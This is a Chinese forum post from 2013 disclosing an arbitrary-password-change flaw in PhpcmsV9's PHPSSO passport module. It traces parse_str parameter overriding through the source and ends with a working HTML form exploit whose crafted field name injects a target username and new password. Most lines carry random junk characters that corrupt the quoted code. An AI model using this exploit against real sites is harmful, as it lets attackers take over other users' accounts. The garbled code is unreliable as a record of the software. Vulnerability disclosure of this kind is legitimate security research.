找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1915|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
8 G$ g/ Y2 l0 E. ~5 b
7 [9 Q% y0 M+ M. X: c; w. w
. S8 b) O9 V% X8 v* Wparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
) S5 f0 M* T- c6 a1 ~" O& e
6 O5 [/ B8 a* ^6 D  M在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
* v  `3 D2 R* E& C( I) m6 L* r. X- Z* ]; F0 U+ U
我把它留给了你们。4 [/ h5 q) Q$ K
不知道你们发现了它没有。: z7 v: z; n# p3 H- Q! P
4 f* D+ d6 v" V* l
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
, x" s- ?% g3 q$ w9 |) r& Q! m# v+ |2 R. j1 ~! d
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
# y& ~/ ~& i1 k$ j4 z, {4 d6 b4 |  F/ k+ k5 g' v4 u8 \
也就是
- [: Q; ~5 j8 d( T# ~1 C& y  t
5 K0 |5 |! J- |  lusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。; m: K( [0 Q; P: g. `: M0 G
6 {2 M: [! [+ j
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。5 B6 D$ X* D+ u3 t/ k

! {. }+ e" n# J/ ?, {) |
7 J8 g  v( `, i( N& \其实我们有这样的机会,看看代码,如下:
4 ~: `) P5 r; \2 w: w$ {) [
7 }& w/ [- l) t- U& G- p
+ E# [# `0 d  d. u" `+ Dpublic function auth_data($data) {
# V; V5 @) t( `7 j; B3 C                $s = $sep = '';2 Z; ]0 X4 b, O6 j: q, z
                foreach($data as $k => $v) {4 F+ P9 |. c0 L9 p) T8 B* w1 Z5 B
                        if(is_array($v)) {
1 l! B4 m2 l) ]3 [% Y3 [( P) l                                $s2 = $sep2 = '';% n, T$ l4 c# ~! r9 V; n
                                foreach($v as $k2 => $v2) {$ Z. y5 A) H6 G, J! ^! N. W8 \
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);* k' n& L* v; K# w, ~% s. o
                                        $sep2 = '&';
4 E. \) |+ M- m7 K& o* m/ O: _0 L. s                                }
' k$ r2 n* k4 d5 B( r9 E0 k1 h                                $s .= $sep.$s2;' d4 s! S9 H+ C: h+ V# ^
                        } else {( Y6 z. o! @4 y6 i5 ]
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);5 l; B! S+ ?1 c% E; ^' o
                        }
4 |! l) z% h, B2 m: c8 @                        $sep = '&';
) O# f4 ]) ?5 }0 u0 ]# m4 a2 i3 X                }$ ?: i+ E! Y- U% |

7 X. b/ T9 \- _                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
" n* ]" z4 y. @; T' }$ S  C! b                return $auth_s;& J) |6 k7 J7 k$ g3 e% Q  [, r
        }) G  \- _! N* `9 }6 t

6 G8 v% }, z% @7 q9 c& h可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。7 @; s8 S' k4 i1 @! ^  h; n/ T

) f9 i: b& u+ V! P. _- r举个例子' n0 K; T1 i1 T# J8 z' H
1 ~5 t. z! S1 {
$a[aaa=a&bbb] = 'a';& v! J1 w, k) Q2 }; }; v
! S+ C7 x6 E. ^/ ]% m/ |
会变成aaa=a&bbb=a
. D$ |% R7 i( ]6 k
2 w, V& I0 x7 R2 d* l( L$ S% ?) t明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。% r. n- P7 L$ [! q8 `

( T. i( T* e! [  V) `* H. \) p: j这个时候,我们可以再去看一个函数。
0 ]! J! F2 `3 a9 f" W, j* ]+ v! g& o* a; g1 c
就在这个文件内:, w9 o# N* [& U# C! C  j

& |" ?8 v, |+ R( C3 k5 C* I& w( e+ L. T' e( M, L# ^6 A
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
& F' g# }# |9 q; _" {% C& z5 d                if($email && !$this->_is_email($email)) {
  \9 `" l/ R! M                        return -4;
: @/ `( \1 w" J& `: E+ v1 M                }
% V. F3 X0 y; J' ?0 n* H3 }                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
8 P  [' H9 E3 ~7 q6 l        }
* q! v$ p1 |  k' l( R& U2 I6 m0 ~$ ]4 f0 l, h* @9 G/ x2 U
这是向通行证发了这样一个请求。4 F; p' F1 o6 u7 ]  i
% E* i: B! e  B6 t& \3 s
我们再跟到通信证代码里去看看,就会有所发现。
4 W% [! R5 @7 @8 ?* j2 L
) z' j8 U) A5 q. W
% d3 r$ e1 R) W% V. R1 Epublic function edit() {
+ e6 g: @2 b8 r% F; P( N4 _1 e//能省就省,太长了不是吗?; l  }' u2 X9 b' l0 F4 S
( \* I0 Q9 A/ j7 r; u% d
if($this->username) {6 u* m7 @" I" o6 m' c0 |
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
6 p9 P6 Q& `: d# t$ |                                $res = $this->db->update($data, array('username'=>$this->username));( G, H% |: V: F( }, C* {1 b" W
                        } else {
$ \* _# u$ ~3 k$ t- `7 \- m: }                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
/ C1 X' ~+ w) o) R9 I6 w7 L                                $res = $this->db->update($data, array('uid'=>$this->uid));& f; H: h* T/ n) }& J, l$ {$ [
                        }6 c) c7 Y' O. ]( ?" z

0 U2 o- G, j- N5 ?好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:. R/ v% {2 A$ ?; n
. j: u6 f5 Z* f5 L8 e! c
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
7 `! A  B4 {& Y* |  I
( w; z0 Y6 L" H$ p很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
+ f' s3 |7 V2 o4 }% N, Y9 g& t0 b
我当然找到了:
/ d+ t, e' S: U" p9 Pphpcms9/phpcms/modules/member/index.php& y. C- z7 |# ^! p5 G
5 y* t4 ?/ n& m7 h% P  C
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);) a: B. u) S7 W
3 b8 J5 Z( L. ]0 H5 ?
然后就没有然后了。* ]0 W1 ?# Z  }  M& W( k
$ N# Z+ N7 ]1 Y% M
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
9 L% j" d$ P. T+ ?                                <table width="100%" cellspacing="0" class="table_form">
! @2 X! Q; v) s* j# h                                        <tr>& r5 F$ w- p2 `! f' n/ R/ n/ x
                                                <th width="80">邮箱:</th>        + b; w: _1 l( u* [7 u5 x
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>: @5 o! n  ?, F  H
                                        </tr>
; i' ?! L6 F# p3 Z' o" W* F, K                                        <tr>; b& e8 w8 i9 _" q" C
                                                <th width="80">原密码:</th>        
/ m# a3 ]" g1 J6 |& k                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
4 b5 \- j0 {; o                                        </tr>
* X1 }* R* u: m1 L0 _& ~3 D0 R( s                                        <tr>
3 f0 s& [) n4 T/ K- B4 ^  [                                                <th>新密码:</th>
  r; O& K" L: s" z/ Z                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>8 ^' A# n  `" a  q6 z( m
                                        </tr>! t9 d4 ^" D* D" A2 C- L" K
                                        <th></th>  q* U' U" ]2 M2 w$ Y
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
  {$ ]! @3 V/ q' @% E                                        </tr>8 i- n5 N; W% k, \
                                </table>4 `) b6 }* `/ ~# \" p3 x3 A+ Z
- I- T( ^! z& N( R7 ]
                               
3 f% m) ]% {+ T5 e1 q8 W                        </form>. r" ^# |$ d! ]" K0 z5 f' R0 a- r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表